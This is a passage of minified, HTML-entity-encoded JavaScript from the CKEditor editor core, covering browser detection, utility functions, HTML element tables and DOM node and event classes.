!0:b.safari=!0);var c=0;b.ie&amp;&amp;(c=e?parseFloat(e[1]):b.quirks||!document.documentMode?parseFloat(a.match(/msie (\d+)/)[1]):document.documentMode,b.ie9Compat=9==c,b.ie8Compat=8==c,b.ie7Compat=7==c,b.ie6Compat=7&gt;c||b.quirks);b.gecko&amp;&amp;(e=a.match(/rv:([\d\.]+)/))&amp;&amp;(e=e[1].split(&quot;.&quot;),c=1E4*e[0]+100*(e[1]||0)+1*(e[2]||0));b.air&amp;&amp;(c=parseFloat(a.match(/ adobeair\/(\d+)/)[1]));b.webkit&amp;&amp;(c=parseFloat(a.match(/ applewebkit\/(\d+)/)[1]));b.version=c;b.isCompatible=!(b.ie&amp;&amp;7&gt;c)&amp;&amp;!(b.gecko&amp;&amp;4E4&gt;c)&amp;&amp;!(b.webkit&amp;&amp;
534&gt;c);b.hidpi=2&lt;=window.devicePixelRatio;b.needsBrFiller=b.gecko||b.webkit||b.ie&amp;&amp;10&lt;c;b.needsNbspFiller=b.ie&amp;&amp;11&gt;c;b.cssClass=&quot;cke_browser_&quot;+(b.ie?&quot;ie&quot;:b.gecko?&quot;gecko&quot;:b.webkit?&quot;webkit&quot;:&quot;unknown&quot;);b.quirks&amp;&amp;(b.cssClass+=&quot; cke_browser_quirks&quot;);b.ie&amp;&amp;(b.cssClass+=&quot; cke_browser_ie&quot;+(b.quirks?&quot;6 cke_browser_iequirks&quot;:b.version));b.air&amp;&amp;(b.cssClass+=&quot; cke_browser_air&quot;);b.iOS&amp;&amp;(b.cssClass+=&quot; cke_browser_ios&quot;);b.hidpi&amp;&amp;(b.cssClass+=&quot; cke_hidpi&quot;);return b}()),&quot;unloaded&quot;==CKEDITOR.status&amp;&amp;function(){CKEDITOR.event.implementOn(CKEDITOR);
CKEDITOR.loadFullCore=function(){if(&quot;basic_ready&quot;!=CKEDITOR.status)CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var a=document.createElement(&quot;script&quot;);a.type=&quot;text/javascript&quot;;a.src=CKEDITOR.basePath+&quot;ckeditor.js&quot;;document.getElementsByTagName(&quot;head&quot;)[0].appendChild(a)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(a){(this._.pending||(this._.pending=[])).push(a)};(function(){CKEDITOR.domReady(function(){var a=CKEDITOR.loadFullCore,e=CKEDITOR.loadFullCoreTimeout;a&amp;&amp;(CKEDITOR.status=
&quot;basic_ready&quot;,a&amp;&amp;a._load?a():e&amp;&amp;setTimeout(function(){CKEDITOR.loadFullCore&amp;&amp;CKEDITOR.loadFullCore()},1E3*e))})})();CKEDITOR.status=&quot;basic_loaded&quot;}(),&quot;use strict&quot;,CKEDITOR.VERBOSITY_WARN=1,CKEDITOR.VERBOSITY_ERROR=2,CKEDITOR.verbosity=CKEDITOR.VERBOSITY_WARN|CKEDITOR.VERBOSITY_ERROR,CKEDITOR.warn=function(a,e){CKEDITOR.verbosity&amp;CKEDITOR.VERBOSITY_WARN&amp;&amp;CKEDITOR.fire(&quot;log&quot;,{type:&quot;warn&quot;,errorCode:a,additionalData:e})},CKEDITOR.error=function(a,e){CKEDITOR.verbosity&amp;CKEDITOR.VERBOSITY_ERROR&amp;&amp;CKEDITOR.fire(&quot;log&quot;,
{type:&quot;error&quot;,errorCode:a,additionalData:e})},CKEDITOR.on(&quot;log&quot;,function(a){if(window.console&amp;&amp;window.console.log){var e=console[a.data.type]?a.data.type:&quot;log&quot;,b=a.data.errorCode;if(a=a.data.additionalData)console[e](&quot;[CKEDITOR] Error code: &quot;+b+&quot;.&quot;,a);else console[e](&quot;[CKEDITOR] Error code: &quot;+b+&quot;.&quot;);console[e](&quot;[CKEDITOR] For more information about this error go to http://docs.ckeditor.com/#!/guide/dev_errors-section-&quot;+b)}},null,null,999),CKEDITOR.dom={},function(){var a=[],e=CKEDITOR.env.gecko?&quot;-moz-&quot;:
CKEDITOR.env.webkit?&quot;-webkit-&quot;:CKEDITOR.env.ie?&quot;-ms-&quot;:&quot;&quot;,b=/&amp;/g,c=/&gt;/g,d=/&lt;/g,k=/&quot;/g,m=/&amp;(lt|gt|amp|quot|nbsp|shy|#\d{1,5});/g,f={lt:&quot;\x3c&quot;,gt:&quot;\x3e&quot;,amp:&quot;\x26&quot;,quot:&#039;&quot;&#039;,nbsp:&quot; &quot;,shy:&quot;­&quot;},h=function(a,g){return&quot;#&quot;==g[0]?String.fromCharCode(parseInt(g.slice(1),10)):f[g]};CKEDITOR.on(&quot;reset&quot;,function(){a=[]});CKEDITOR.tools={arrayCompare:function(a,g){if(!a&amp;&amp;!g)return!0;if(!a||!g||a.length!=g.length)return!1;for(var f=0;f&lt;a.length;f++)if(a[f]!=g[f])return!1;return!0},getIndex:function(a,g){for(var f=
0;f&lt;a.length;++f)if(g(a[f]))return f;return-1},clone:function(a){var g;if(a&amp;&amp;a instanceof Array){g=[];for(var f=0;f&lt;a.length;f++)g[f]=CKEDITOR.tools.clone(a[f]);return g}if(null===a||&quot;object&quot;!=typeof a||a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp||a.nodeType||a.window===a)return a;g=new a.constructor;for(f in a)g[f]=CKEDITOR.tools.clone(a[f]);return g},capitalize:function(a,g){return a.charAt(0).toUpperCase()+(g?a.slice(1):a.slice(1).toLowerCase())},
extend:function(a){var g=arguments.length,f,b;&quot;boolean&quot;==typeof(f=arguments[g-1])?g--:&quot;boolean&quot;==typeof(f=arguments[g-2])&amp;&amp;(b=arguments[g-1],g-=2);for(var h=1;h&lt;g;h++){var c=arguments[h],d;for(d in c)if(!0===f||null==a[d])if(!b||d in b)a[d]=c[d]}return a},prototypedCopy:function(a){var g=function(){};g.prototype=a;return new g},copy:function(a){var g={},f;for(f in a)g[f]=a[f];return g},isArray:function(a){return&quot;[object Array]&quot;==Object.prototype.toString.call(a)},isEmpty:function(a){for(var g in a)if(a.hasOwnProperty(g))return!1;
return!0},cssVendorPrefix:function(a,g,f){if(f)return e+a+&quot;:&quot;+g+&quot;;&quot;+a+&quot;:&quot;+g;f={};f[a]=g;f[e+a]=g;return f},cssStyleToDomStyle:function(){var a=document.createElement(&quot;div&quot;).style,g=&quot;undefined&quot;!=typeof a.cssFloat?&quot;cssFloat&quot;:&quot;undefined&quot;!=typeof a.styleFloat?&quot;styleFloat&quot;:&quot;float&quot;;return function(a){return&quot;float&quot;==a?g:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){a=[].concat(a);for(var g,f=[],b=0;b&lt;a.length;b++)if(g=a[b])/@import|[{}]/.test(g)?f.push(&quot;\x3cstyle\x3e&quot;+
g+&quot;\x3c/style\x3e&quot;):f.push(&#039;\x3clink type\x3d&quot;text/css&quot; rel\x3dstylesheet href\x3d&quot;&#039;+g+&#039;&quot;\x3e&#039;);return f.join(&quot;&quot;)},htmlEncode:function(a){return void 0===a||null===a?&quot;&quot;:String(a).replace(b,&quot;\x26amp;&quot;).replace(c,&quot;\x26gt;&quot;).replace(d,&quot;\x26lt;&quot;)},htmlDecode:function(a){return a.replace(m,h)},htmlEncodeAttr:function(a){return CKEDITOR.tools.htmlEncode(a).replace(k,&quot;\x26quot;&quot;)},htmlDecodeAttr:function(a){return CKEDITOR.tools.htmlDecode(a)},transformPlainTextToHtml:function(a,g){var f=g==CKEDITOR.ENTER_BR,
b=this.htmlEncode(a.replace(/\r\n/g,&quot;\n&quot;)),b=b.replace(/\t/g,&quot;\x26nbsp;\x26nbsp; \x26nbsp;&quot;),h=g==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;;if(!f){var c=/\n{2}/g;if(c.test(b))var d=&quot;\x3c&quot;+h+&quot;\x3e&quot;,e=&quot;\x3c/&quot;+h+&quot;\x3e&quot;,b=d+b.replace(c,function(){return e+d})+e}b=b.replace(/\n/g,&quot;\x3cbr\x3e&quot;);f||(b=b.replace(new RegExp(&quot;\x3cbr\x3e(?\x3d\x3c/&quot;+h+&quot;\x3e)&quot;),function(a){return CKEDITOR.tools.repeat(a,2)}));b=b.replace(/^ | $/g,&quot;\x26nbsp;&quot;);return b=b.replace(/(&gt;|\s) /g,function(a,g){return g+&quot;\x26nbsp;&quot;}).replace(/ (?=&lt;)/g,
&quot;\x26nbsp;&quot;)},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return&quot;cke_&quot;+this.getNextNumber()},getUniqueId:function(){for(var a=&quot;e&quot;,g=0;8&gt;g;g++)a+=Math.floor(65536*(1+Math.random())).toString(16).substring(1);return a},override:function(a,g){var f=g(a);f.prototype=a.prototype;return f},setTimeout:function(a,g,f,b,h){h||(h=window);f||(f=h);return h.setTimeout(function(){b?a.apply(f,[].concat(b)):a.apply(f)},g||0)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;
return function(g){return g.replace(a,&quot;&quot;)}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(g){return g.replace(a,&quot;&quot;)}}(),rtrim:function(){var a=/[ \t\n\r]+$/g;return function(g){return g.replace(a,&quot;&quot;)}}(),indexOf:function(a,g){if(&quot;function&quot;==typeof g)for(var f=0,b=a.length;f&lt;b;f++){if(g(a[f]))return f}else{if(a.indexOf)return a.indexOf(g);f=0;for(b=a.length;f&lt;b;f++)if(a[f]===g)return f}return-1},search:function(a,g){var f=CKEDITOR.tools.indexOf(a,g);return 0&lt;=f?a[f]:null},bind:function(a,
g){return function(){return a.apply(g,arguments)}},createClass:function(a){var g=a.$,f=a.base,b=a.privates||a._,h=a.proto;a=a.statics;!g&amp;&amp;(g=function(){f&amp;&amp;this.base.apply(this,arguments)});if(b)var c=g,g=function(){var a=this._||(this._={}),g;for(g in b){var f=b[g];a[g]=&quot;function&quot;==typeof f?CKEDITOR.tools.bind(f,this):f}c.apply(this,arguments)};f&amp;&amp;(g.prototype=this.prototypedCopy(f.prototype),g.prototype.constructor=g,g.base=f,g.baseProto=f.prototype,g.prototype.base=function(){this.base=f.prototype.base;
f.apply(this,arguments);this.base=arguments.callee});h&amp;&amp;this.extend(g.prototype,h,!0);a&amp;&amp;this.extend(g,a,!0);return g},addFunction:function(f,g){return a.push(function(){return f.apply(g||this,arguments)})-1},removeFunction:function(f){a[f]=null},callFunction:function(f){var g=a[f];return g&amp;&amp;g.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var a=/^-?\d+\.?\d*px$/,g;return function(f){g=CKEDITOR.tools.trim(f+&quot;&quot;)+&quot;px&quot;;return a.test(g)?g:f||&quot;&quot;}}(),convertToPx:function(){var a;
return function(g){a||(a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv style\x3d&quot;position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;&quot;\x3e\x3c/div\x3e&#039;,CKEDITOR.document),CKEDITOR.document.getBody().append(a));return/%$/.test(g)?g:(a.setStyle(&quot;width&quot;,g),a.$.clientWidth)}}(),repeat:function(a,g){return Array(g+1).join(a)},tryThese:function(){for(var a,g=0,f=arguments.length;g&lt;f;g++){var b=arguments[g];try{a=b();break}catch(h){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join(&quot;-&quot;)},
defer:function(a){return function(){var g=arguments,f=this;window.setTimeout(function(){a.apply(f,g)},0)}},normalizeCssText:function(a,g){var f=[],b,h=CKEDITOR.tools.parseCssText(a,!0,g);for(b in h)f.push(b+&quot;:&quot;+h[b]);f.sort();return f.length?f.join(&quot;;&quot;)+&quot;;&quot;:&quot;&quot;},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,function(a,f,b,h){a=[f,b,h];for(f=0;3&gt;f;f++)a[f]=(&quot;0&quot;+parseInt(a[f],10).toString(16)).slice(-2);return&quot;#&quot;+a.join(&quot;&quot;)})},normalizeHex:function(a){return a.replace(/#(([0-9a-f]{3}){1,2})($|;|\s+)/gi,
function(a,f,b,h){a=f.toLowerCase();3==a.length&amp;&amp;(a=a.split(&quot;&quot;),a=[a[0],a[0],a[1],a[1],a[2],a[2]].join(&quot;&quot;));return&quot;#&quot;+a+h})},parseCssText:function(a,g,f){var b={};f&amp;&amp;(a=(new CKEDITOR.dom.element(&quot;span&quot;)).setAttribute(&quot;style&quot;,a).getAttribute(&quot;style&quot;)||&quot;&quot;);a&amp;&amp;(a=CKEDITOR.tools.normalizeHex(CKEDITOR.tools.convertRgbToHex(a)));if(!a||&quot;;&quot;==a)return b;a.replace(/&amp;quot;/g,&#039;&quot;&#039;).replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,f,h){g&amp;&amp;(f=f.toLowerCase(),&quot;font-family&quot;==f&amp;&amp;(h=h.replace(/\s*,\s*/g,
&quot;,&quot;)),h=CKEDITOR.tools.trim(h));b[f]=h});return b},writeCssText:function(a,g){var f,b=[];for(f in a)b.push(f+&quot;:&quot;+a[f]);g&amp;&amp;b.sort();return b.join(&quot;; &quot;)},objectCompare:function(a,g,f){var b;if(!a&amp;&amp;!g)return!0;if(!a||!g)return!1;for(b in a)if(a[b]!=g[b])return!1;if(!f)for(b in g)if(a[b]!=g[b])return!1;return!0},objectKeys:function(a){var g=[],f;for(f in a)g.push(f);return g},convertArrayToObject:function(a,g){var f={};1==arguments.length&amp;&amp;(g=!0);for(var b=0,h=a.length;b&lt;h;++b)f[a[b]]=g;return f},fixDomain:function(){for(var a;;)try{a=
window.parent.document.domain;break}catch(g){a=a?a.replace(/.+?(?:\.|$)/,&quot;&quot;):document.domain;if(!a)break;document.domain=a}return!!a},eventsBuffer:function(a,g,f){function b(){c=(new Date).getTime();h=!1;f?g.call(f):g()}var h,c=0;return{input:function(){if(!h){var g=(new Date).getTime()-c;g&lt;a?h=setTimeout(b,a-g):b()}},reset:function(){h&amp;&amp;clearTimeout(h);h=c=0}}},enableHtml5Elements:function(a,g){for(var f=&quot;abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video&quot;.split(&quot; &quot;),
b=f.length,h;b--;)h=a.createElement(f[b]),g&amp;&amp;a.appendChild(h)},checkIfAnyArrayItemMatches:function(a,g){for(var f=0,b=a.length;f&lt;b;++f)if(a[f].match(g))return!0;return!1},checkIfAnyObjectPropertyMatches:function(a,g){for(var f in a)if(f.match(g))return!0;return!1},transparentImageData:&quot;data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw\x3d\x3d&quot;,getCookie:function(a){a=a.toLowerCase();for(var g=document.cookie.split(&quot;;&quot;),f,b,h=0;h&lt;g.length;h++)if(f=g[h].split(&quot;\x3d&quot;),
b=decodeURIComponent(CKEDITOR.tools.trim(f[0]).toLowerCase()),b===a)return decodeURIComponent(1&lt;f.length?f[1]:&quot;&quot;);return null},setCookie:function(a,g){document.cookie=encodeURIComponent(a)+&quot;\x3d&quot;+encodeURIComponent(g)+&quot;;path\x3d/&quot;},getCsrfToken:function(){var a=CKEDITOR.tools.getCookie(&quot;ckCsrfToken&quot;);if(!a||40!=a.length){var a=[],g=&quot;&quot;;if(window.crypto&amp;&amp;window.crypto.getRandomValues)a=new Uint8Array(40),window.crypto.getRandomValues(a);else for(var f=0;40&gt;f;f++)a.push(Math.floor(256*Math.random()));
for(f=0;f&lt;a.length;f++)var b=&quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;.charAt(a[f]%36),g=g+(.5&lt;Math.random()?b.toUpperCase():b);a=g;CKEDITOR.tools.setCookie(&quot;ckCsrfToken&quot;,a)}return a},escapeCss:function(a){return a?window.CSS&amp;&amp;CSS.escape?CSS.escape(a):isNaN(parseInt(a.charAt(0),10))?a:&quot;\\3&quot;+a.charAt(0)+&quot; &quot;+a.substring(1,a.length):&quot;&quot;}}}(),CKEDITOR.dtd=function(){var a=CKEDITOR.tools.extend,e=function(a,g){for(var f=CKEDITOR.tools.clone(a),b=1;b&lt;arguments.length;b++){g=arguments[b];for(var h in g)delete f[h]}return f},
b={},c={},d={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,main:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},k={command:1,link:1,meta:1,noscript:1,script:1,style:1},m={},f={&quot;#&quot;:1},h={center:1,dir:1,noframes:1};a(b,{a:1,abbr:1,area:1,audio:1,b:1,bdi:1,bdo:1,br:1,button:1,canvas:1,cite:1,code:1,command:1,datalist:1,del:1,dfn:1,em:1,embed:1,i:1,iframe:1,img:1,input:1,ins:1,kbd:1,keygen:1,
label:1,map:1,mark:1,meter:1,noscript:1,object:1,output:1,progress:1,q:1,ruby:1,s:1,samp:1,script:1,select:1,small:1,span:1,strong:1,sub:1,sup:1,textarea:1,time:1,u:1,&quot;var&quot;:1,video:1,wbr:1},f,{acronym:1,applet:1,basefont:1,big:1,font:1,isindex:1,strike:1,style:1,tt:1});a(c,d,b,h);e={a:e(b,{a:1,button:1}),abbr:b,address:c,area:m,article:c,aside:c,audio:a({source:1,track:1},c),b:b,base:m,bdi:b,bdo:b,blockquote:c,body:c,br:m,button:e(b,{a:1,button:1}),canvas:b,caption:c,cite:b,code:b,col:m,colgroup:{col:1},
command:m,datalist:a({option:1},b),dd:c,del:b,details:a({summary:1},c),dfn:b,div:c,dl:{dt:1,dd:1},dt:c,em:b,embed:m,fieldset:a({legend:1},c),figcaption:c,figure:a({figcaption:1},c),footer:c,form:c,h1:b,h2:b,h3:b,h4:b,h5:b,h6:b,head:a({title:1,base:1},k),header:c,hgroup:{h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},hr:m,html:a({head:1,body:1},c,k),i:b,iframe:f,img:m,input:m,ins:b,kbd:b,keygen:m,label:b,legend:b,li:c,link:m,main:c,map:c,mark:b,menu:a({li:1},c),meta:m,meter:e(b,{meter:1}),nav:c,noscript:a({link:1,
meta:1,style:1},b),object:a({param:1},b),ol:{li:1},optgroup:{option:1},option:f,output:b,p:b,param:m,pre:b,progress:e(b,{progress:1}),q:b,rp:b,rt:b,ruby:a({rp:1,rt:1},b),s:b,samp:b,script:f,section:c,select:{optgroup:1,option:1},small:b,source:m,span:b,strong:b,style:f,sub:b,summary:a({h1:1,h2:1,h3:1,h4:1,h5:1,h6:1},b),sup:b,table:{caption:1,colgroup:1,thead:1,tfoot:1,tbody:1,tr:1},tbody:{tr:1},td:c,textarea:f,tfoot:{tr:1},th:c,thead:{tr:1},time:e(b,{time:1}),title:f,tr:{th:1,td:1},track:m,u:b,ul:{li:1},
&quot;var&quot;:b,video:a({source:1,track:1},c),wbr:m,acronym:b,applet:a({param:1},c),basefont:m,big:b,center:c,dialog:m,dir:{li:1},font:b,isindex:m,noframes:c,strike:b,tt:b};a(e,{$block:a({audio:1,dd:1,dt:1,figcaption:1,li:1,video:1},d,h),$blockLimit:{article:1,aside:1,audio:1,body:1,caption:1,details:1,dir:1,div:1,dl:1,fieldset:1,figcaption:1,figure:1,footer:1,form:1,header:1,hgroup:1,main:1,menu:1,nav:1,ol:1,section:1,table:1,td:1,th:1,tr:1,ul:1,video:1},$cdata:{script:1,style:1},$editable:{address:1,article:1,
aside:1,blockquote:1,body:1,details:1,div:1,fieldset:1,figcaption:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,main:1,nav:1,p:1,pre:1,section:1},$empty:{area:1,base:1,basefont:1,br:1,col:1,command:1,dialog:1,embed:1,hr:1,img:1,input:1,isindex:1,keygen:1,link:1,meta:1,param:1,source:1,track:1,wbr:1},$inline:b,$list:{dl:1,ol:1,ul:1},$listItem:{dd:1,dt:1,li:1},$nonBodyContent:a({body:1,head:1,html:1},e.head),$nonEditable:{applet:1,audio:1,button:1,embed:1,iframe:1,map:1,object:1,
option:1,param:1,script:1,textarea:1,video:1},$object:{applet:1,audio:1,button:1,hr:1,iframe:1,img:1,input:1,object:1,select:1,table:1,textarea:1,video:1},$removeEmpty:{abbr:1,acronym:1,b:1,bdi:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,mark:1,meter:1,output:1,q:1,ruby:1,s:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,time:1,tt:1,u:1,&quot;var&quot;:1},$tabIndex:{a:1,area:1,button:1,input:1,object:1,select:1,textarea:1},$tableContent:{caption:1,col:1,colgroup:1,tbody:1,
td:1,tfoot:1,th:1,thead:1,tr:1},$transparent:{a:1,audio:1,canvas:1,del:1,ins:1,map:1,noscript:1,object:1,video:1},$intermediate:{caption:1,colgroup:1,dd:1,dt:1,figcaption:1,legend:1,li:1,optgroup:1,option:1,rp:1,rt:1,summary:1,tbody:1,td:1,tfoot:1,th:1,thead:1,tr:1}});return e}(),CKEDITOR.dom.event=function(a){this.$=a},CKEDITOR.dom.event.prototype={getKey:function(){return this.$.keyCode||this.$.which},getKeystroke:function(){var a=this.getKey();if(this.$.ctrlKey||this.$.metaKey)a+=CKEDITOR.CTRL;
this.$.shiftKey&amp;&amp;(a+=CKEDITOR.SHIFT);this.$.altKey&amp;&amp;(a+=CKEDITOR.ALT);return a},preventDefault:function(a){var e=this.$;e.preventDefault?e.preventDefault():e.returnValue=!1;a&amp;&amp;this.stopPropagation()},stopPropagation:function(){var a=this.$;a.stopPropagation?a.stopPropagation():a.cancelBubble=!0},getTarget:function(){var a=this.$.target||this.$.srcElement;return a?new CKEDITOR.dom.node(a):null},getPhase:function(){return this.$.eventPhase||2},getPageOffset:function(){var a=this.getTarget().getDocument().$;
return{x:this.$.pageX||this.$.clientX+(a.documentElement.scrollLeft||a.body.scrollLeft),y:this.$.pageY||this.$.clientY+(a.documentElement.scrollTop||a.body.scrollTop)}}},CKEDITOR.CTRL=1114112,CKEDITOR.SHIFT=2228224,CKEDITOR.ALT=4456448,CKEDITOR.EVENT_PHASE_CAPTURING=1,CKEDITOR.EVENT_PHASE_AT_TARGET=2,CKEDITOR.EVENT_PHASE_BUBBLING=3,CKEDITOR.dom.domObject=function(a){a&amp;&amp;(this.$=a)},CKEDITOR.dom.domObject.prototype=function(){var a=function(a,b){return function(c){&quot;undefined&quot;!=typeof CKEDITOR&amp;&amp;a.fire(b,
new CKEDITOR.dom.event(c))}};return{getPrivate:function(){var a;(a=this.getCustomData(&quot;_&quot;))||this.setCustomData(&quot;_&quot;,a={});return a},on:function(e){var b=this.getCustomData(&quot;_cke_nativeListeners&quot;);b||(b={},this.setCustomData(&quot;_cke_nativeListeners&quot;,b));b[e]||(b=b[e]=a(this,e),this.$.addEventListener?this.$.addEventListener(e,b,!!CKEDITOR.event.useCapture):this.$.attachEvent&amp;&amp;this.$.attachEvent(&quot;on&quot;+e,b));return CKEDITOR.event.prototype.on.apply(this,arguments)},removeListener:function(a){CKEDITOR.event.prototype.removeListener.apply(this,
arguments);if(!this.hasListeners(a)){var b=this.getCustomData(&quot;_cke_nativeListeners&quot;),c=b&amp;&amp;b[a];c&amp;&amp;(this.$.removeEventListener?this.$.removeEventListener(a,c,!1):this.$.detachEvent&amp;&amp;this.$.detachEvent(&quot;on&quot;+a,c),delete b[a])}},removeAllListeners:function(){var a=this.getCustomData(&quot;_cke_nativeListeners&quot;),b;for(b in a){var c=a[b];this.$.detachEvent?this.$.detachEvent(&quot;on&quot;+b,c):this.$.removeEventListener&amp;&amp;this.$.removeEventListener(b,c,!1);delete a[b]}CKEDITOR.event.prototype.removeAllListeners.call(this)}}}(),
function(a){var e={};CKEDITOR.on(&quot;reset&quot;,function(){e={}});a.equals=function(a){try{return a&amp;&amp;a.$===this.$}catch(c){return!1}};a.setCustomData=function(a,c){var d=this.getUniqueId();(e[d]||(e[d]={}))[a]=c;return this};a.getCustomData=function(a){var c=this.$[&quot;data-cke-expando&quot;];return(c=c&amp;&amp;e[c])&amp;&amp;a in c?c[a]:null};a.removeCustomData=function(a){var c=this.$[&quot;data-cke-expando&quot;],c=c&amp;&amp;e[c],d,k;c&amp;&amp;(d=c[a],k=a in c,delete c[a]);return k?d:null};a.clearCustomData=function(){this.removeAllListeners();var a=
this.$[&quot;data-cke-expando&quot;];a&amp;&amp;delete e[a]};a.getUniqueId=function(){return this.$[&quot;data-cke-expando&quot;]||(this.$[&quot;data-cke-expando&quot;]=CKEDITOR.tools.getNextNumber())};CKEDITOR.event.implementOn(a)}(CKEDITOR.dom.domObject.prototype),CKEDITOR.dom.node=function(a){return a?new CKEDITOR.dom[a.nodeType==CKEDITOR.NODE_DOCUMENT?&quot;document&quot;:a.nodeType==CKEDITOR.NODE_ELEMENT?&quot;element&quot;:a.nodeType==CKEDITOR.NODE_TEXT?&quot;text&quot;:a.nodeType==CKEDITOR.NODE_COMMENT?&quot;comment&quot;:a.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT?
&quot;documentFragment&quot;:&quot;domObject&quot;](a):this},CKEDITOR.dom.node.prototype=new CKEDITOR.dom.domObject,CKEDITOR.NODE_ELEMENT=1,CKEDITOR.NODE_DOCUMENT=9,CKEDITOR.NODE_TEXT=3,CKEDITOR.NODE_COMMENT=8,CKEDITOR.NODE_DOCUMENT_FRAGMENT=11,CKEDITOR.POSITION_IDENTICAL=0,CKEDITOR.POSITION_DISCONNECTED=1,CKEDITOR.POSITION_FOLLOWING=2,CKEDITOR.POSITION_PRECEDING=4,CKEDITOR.POSITION_IS_CONTAINED=8,CKEDITOR.POSITION_CONTAINS=16,CKEDITOR.tools.extend(CKEDITOR.dom.node.prototype,{appendTo:function(a,e){a.append(this,e);
return a},clone:function(a,e){function b(c){c[&quot;data-cke-expando&quot;]&amp;&amp;(c[&quot;data-cke-expando&quot;]=!1);if(c.nodeType==CKEDITOR.NODE_ELEMENT||c.nodeType==CKEDITOR.NODE_DOCUMENT_FRAGMENT)if(e||c.nodeType!=CKEDITOR.NODE_ELEMENT||c.removeAttribute(&quot;id&quot;,!1),a){c=c.childNodes;for(var d=0;d&lt;c.length;d++)b(c[d])}}function c(b){if(b.type==CKEDITOR.NODE_ELEMENT||b.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT){if(b.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var d=b.getName();&quot;:&quot;==d[0]&amp;&amp;b.renameNode(d.substring(1))}if(a)for(d=0;d&lt;
b.getChildCount();d++)c(b.getChild(d))}}var d=this.$.cloneNode(a);b(d);d=new CKEDITOR.dom.node(d);CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;(this.type==CKEDITOR.NODE_ELEMENT||this.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)&amp;&amp;c(d);return d},hasPrevious:function(){return!!this.$.previousSibling},hasNext:function(){return!!this.$.nextSibling},insertAfter:function(a){a.$.parentNode.insertBefore(this.$,a.$.nextSibling);return a},insertBefore:function(a){a.$.parentNode.insertBefore(this.$,a.$);return a},insertBeforeMe:function(a){this.$.parentNode.insertBefore(a.$,
this.$);return a},getAddress:function(a){for(var e=[],b=this.getDocument().$.documentElement,c=this.$;c&amp;&amp;c!=b;){var d=c.parentNode;d&amp;&amp;e.unshift(this.getIndex.call({$:c},a));c=d}return e},getDocument:function(){return new CKEDITOR.dom.document(this.$.ownerDocument||this.$.parentNode.ownerDocument)},getIndex:function(a){function e(a,f){var h=f?a.nextSibling:a.previousSibling;return h&amp;&amp;h.nodeType==CKEDITOR.NODE_TEXT?b(h)?e(h,f):h:null}function b(a){return!a.nodeValue||a.nodeValue==CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE}
var c=this.$,d=-1,k;if(!this.$.parentNode||a&amp;&amp;c.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;b(c)&amp;&amp;!e(c)&amp;&amp;!e(c,!0))return-1;do a&amp;&amp;c!=this.$&amp;&amp;c.nodeType==CKEDITOR.NODE_TEXT&amp;&amp;(k||b(c))||(d++,k=c.nodeType==CKEDITOR.NODE_TEXT);while(c=c.previousSibling);return d},getNextSourceNode:function(a,e,b){if(b&amp;&amp;!b.call){var c=b;b=function(a){return!a.equals(c)}}a=!a&amp;&amp;this.getFirst&amp;&amp;this.getFirst();var d;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b&amp;&amp;!1===b(this,!0))return null;a=this.getNext()}for(;!a&amp;&amp;(d=(d||this).getParent());){if(b&amp;&amp;
!1===b(d,!0))return null;a=d.getNext()}return!a||b&amp;&amp;!1===b(a)?null:e&amp;&amp;e!=a.type?a.getNextSourceNode(!1,e,b):a},getPreviousSourceNode:function(a,e,b){if(b&amp;&amp;!b.call){var c=b;b=function(a){return!a.equals(c)}}a=!a&amp;&amp;this.getLast&amp;&amp;this.getLast();var d;if(!a){if(this.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b&amp;&amp;!1===b(this,!0))return null;a=this.getPrevious()}for(;!a&amp;&amp;(d=(d||this).getParent());){if(b&amp;&amp;!1===b(d,!0))return null;a=d.getPrevious()}return!a||b&amp;&amp;!1===b(a)?null:e&amp;&amp;a.type!=e?a.getPreviousSourceNode(!1,e,b):
